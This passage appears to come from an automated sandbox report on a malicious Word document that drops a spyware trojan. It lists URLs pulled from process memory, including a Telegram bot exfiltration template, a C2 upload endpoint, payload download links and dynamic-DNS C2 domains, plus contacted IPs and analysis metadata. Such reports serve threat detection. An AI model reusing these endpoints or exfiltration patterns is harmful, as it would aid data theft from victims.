                                                                    https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchnpratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      http://checkip.dyndns.org/qnpratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmpfalse
                                                                        		high
                                                                        https://amazonenviro.com/admin/245_Nsltabrightness.exe, 00000004.00000002.1883329411.00000000206DD000.00000004.00001000.00020000.00000000.sdmptrue
                                                                        • Avira URL Cloud: safe
                                                                        		unknown
                                                                        https://chrome.google.com/webstore?hl=enlBnpratlsN.pif, 0000000A.00000002.3463602515.000000002B98B000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://amazonenviro.com/Zbrightness.exe, 00000004.00000002.1860229176.0000000000656000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          • Avira URL Cloud: safe
                                                                          		unknown
                                                                          https://www.office.com/hnpratlsN.pif, 0000000E.00000002.3457231521.000000002195E000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            http://e6.o.lencr.org0npratlsN.pif, 0000000A.00000002.3463602515.000000002B8D4000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002BA05000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3461578929.0000000029B0E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B9FA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3472486775.000000002DDE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3454668828.000000001F991000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3466637591.00000000245B8000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002190B000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021917000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.2520620466.00000000245ED000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2599953394.0000000029EE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002C04E000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EAA000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3466644450.000000002ED8D000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EE7000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            • Avira URL Cloud: safe
                                                                            		unknown
                                                                            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namenpratlsN.pif, 0000000A.00000002.3463602515.000000002B801000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021781000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BE91000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://www.pmail.com0brightness.exe, 00000004.00000002.1889917272.0000000021890000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1858000944.000000007F2CA000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1883329411.00000000205D0000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1856985915.0000000021F01000.00000004.00000020.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1830836182.000000007F30F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890574991.0000000021FAB000.00000004.00000020.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000205E0000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000F.00000002.2087769696.0000000020588000.00000004.00001000.00020000.00000000.sdmp, npratlsN.pif.4.drfalse
                                                                                		high
                                                                                https://reallyfreegeoip.org/xml/npratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B853000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.00000000217D3000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BEE5000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmpfalse
                                                                                  		high
                                                                                  http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://www.office.com/npratlsN.pif, 00000010.00000002.3457162026.000000002C0A4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://sectigo.com/CPS0brightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://www.google.com/images/branding/product/ico/googleg_lodp.iconpratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            http://checkip.dyndns.orgnpratlsN.pif, 00000010.00000002.3457162026.000000002BE91000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016npratlsN.pif, 0000000A.00000002.3463602515.000000002B907000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C82C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.2435365448.000000002CA2E000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022BA9000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022A69000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022961000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.00000000227AC000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022913000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022988000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D097000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002CEBC000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D178000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D2B9000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D022000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D070000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                https://api.telegram.org/bot/sendMessage?chat_id=&text=npratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF7C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://www.ecosia.org/newtab/npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    http://x1.i.npratlsN.pif, 0000000E.00000002.3466637591.00000000245B8000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.2520620466.00000000245ED000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    • Avira URL Cloud: safe
                                                                                                    		unknown
                                                                                                    https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:585948%0D%0ADate%20anpratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF7C000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      http://aborters.duckdns.org:8081npratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B801000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021781000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BE91000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        http://mail.irco.com.sanpratlsN.pif, 0000000A.00000002.3463602515.000000002B9EA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002BA05000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002190B000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021917000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002C04E000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                        • Avira URL Cloud: safe
                                                                                                        		unknown
                                                                                                        https://ac.ecosia.org/autocomplete?q=npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          http://e6.i.lencr.org/0npratlsN.pif, 0000000A.00000002.3463602515.000000002B8D4000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002BA05000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3461578929.0000000029B0E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B9FA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3472486775.000000002DDE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3454668828.000000001F991000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3466637591.00000000245B8000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002190B000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021917000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.2520620466.00000000245ED000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2599953394.0000000029EE7000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002C04E000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EAA000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3466644450.000000002ED8D000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3455442198.0000000029EE7000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            http://51.38.247.67:8081/_send_.php?LnpratlsN.pif, 0000000A.00000002.3463602515.000000002B9EA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B8D4000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.00000000218FB000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              https://www.office.com/0npratlsN.pif, 00000010.00000002.3457162026.000000002C095000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                http://anotherarmy.dns.army:8081npratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3463602515.000000002B801000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.0000000021781000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BE91000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://reallyfreegeoip.org/xml/8.46.123.189$npratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002183A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF7C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF0F000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF55000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://www.office.com/DznpratlsN.pif, 00000010.00000002.3457162026.000000002C0A4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      https://reallyfreegeoip.orgnpratlsN.pif, 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002183A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BEE5000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF7C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3457162026.000000002BF55000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                        		high
                                                                                                                        https://chrome.google.com/webstore?hl=enLznpratlsN.pif, 0000000A.00000002.3463602515.000000002B990000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                          		high
                                                                                                                          https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ExamplesnpratlsN.pif, 0000000A.00000003.2435365448.000000002CA7F000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C807000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C87C000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.2435365448.000000002CA35000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3469573834.000000002C832000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.2435365448.000000002CA0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.000000002291B000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022963000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022A44000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B62000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022787000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.00000000228EE000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D073000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D271000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D02A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002CE97000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002CFFF000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D154000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                            		high
                                                                                                                            https://www.office.com/LznpratlsN.pif, 0000000A.00000002.3463602515.000000002B9C1000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3457231521.000000002196D000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                              		high
                                                                                                                              https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=npratlsN.pif, 0000000A.00000002.3469573834.000000002C8AA000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022AD8000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3460445803.0000000022B0A000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D1E7000.00000004.00000800.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3460013825.000000002D219000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                		high
                                                                                                                                http://ocsp.sectigo.com0Cbrightness.exe, 00000004.00000002.1883329411.000000002064F000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000003.1831421420.000000007F300000.00000004.00001000.00020000.00000000.sdmp, brightness.exe, 00000004.00000002.1890760472.000000007EFEF000.00000004.00001000.00020000.00000000.sdmp, Nsltarpn.PIF, 0000000D.00000002.1999576902.00000000206A0000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencodednpratlsN.pif, 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, npratlsN.pif, 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmpfalse
                                                                                                                                    		high

                                                                                                                                    World Map of Contacted IPs

                                                                                                                                    • No. of IPs < 25%
                                                                                                                                    • 25% < No. of IPs < 50%
                                                                                                                                    • 50% < No. of IPs < 75%
                                                                                                                                    • 75% < No. of IPs

                                                                                                                                    Public IPs

                                                                                                                                    IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                    132.226.8.169
                                                                                                                                    		checkip.dyndns.comUnited States
                                                                                                                                    		16989UTMEMUSfalse
                                                                                                                                    104.21.16.1
                                                                                                                                    		reallyfreegeoip.orgUnited States
                                                                                                                                    		13335CLOUDFLARENETUSfalse
                                                                                                                                    166.62.27.188
                                                                                                                                    		amazonenviro.comUnited States
                                                                                                                                    		26496AS-26496-GO-DADDY-COM-LLCUSfalse
                                                                                                                                    149.154.167.220
                                                                                                                                    		api.telegram.orgUnited Kingdom
                                                                                                                                    		62041TELEGRAMRUfalse
                                                                                                                                    46.151.208.21
                                                                                                                                    		mail.irco.com.saSaudi Arabia
                                                                                                                                    		51975NASHIRNET-ASNNASHIRNETASNSAtrue
                                                                                                                                    147.124.216.113
                                                                                                                                    		unknownUnited States
                                                                                                                                    		1432AC-AS-1USfalse

                                                                                                                                    General Information

                                                                                                                                    Joe Sandbox version:42.0.0 Malachite
                                                                                                                                    Analysis ID:1590510
                                                                                                                                    Start date and time:2025-01-14 08:07:09 +01:00
                                                                                                                                    Joe Sandbox product:CloudBasic
                                                                                                                                    Overall analysis duration:0h 10m 51s
                                                                                                                                    Hypervisor based Inspection enabled:false
                                                                                                                                    Report type:full
                                                                                                                                    Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                    Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                    Number of analysed new started processes analysed:18
                                                                                                                                    Number of new started drivers analysed:0
                                                                                                                                    Number of existing processes analysed:0
                                                                                                                                    Number of existing drivers analysed:0
                                                                                                                                    Number of injected processes analysed:0
                                                                                                                                    Technologies:
                                                                                                                                    • HCA enabled
                                                                                                                                    • EGA enabled
                                                                                                                                    • GSI enabled (VBA)
                                                                                                                                    • AMSI enabled
                                                                                                                                    Analysis Mode:default
                                                                                                                                    Analysis stop reason:Timeout
                                                                                                                                    Sample name:PI ITS15235.doc
                                                                                                                                    Detection:MAL
                                                                                                                                    Classification:mal100.troj.spyw.expl.evad.winDOC@20/13@5/6
                                                                                                                                    EGA Information:
                                                                                                                                    • Successful, ratio: 100%
                                                                                                                                    HCA Information:
                                                                                                                                    • Successful, ratio: 99%
                                                                                                                                    • Number of executed functions: 194
                                                                                                                                    • Number of non-executed functions: 81
                                                                                                                                    Cookbook Comments:
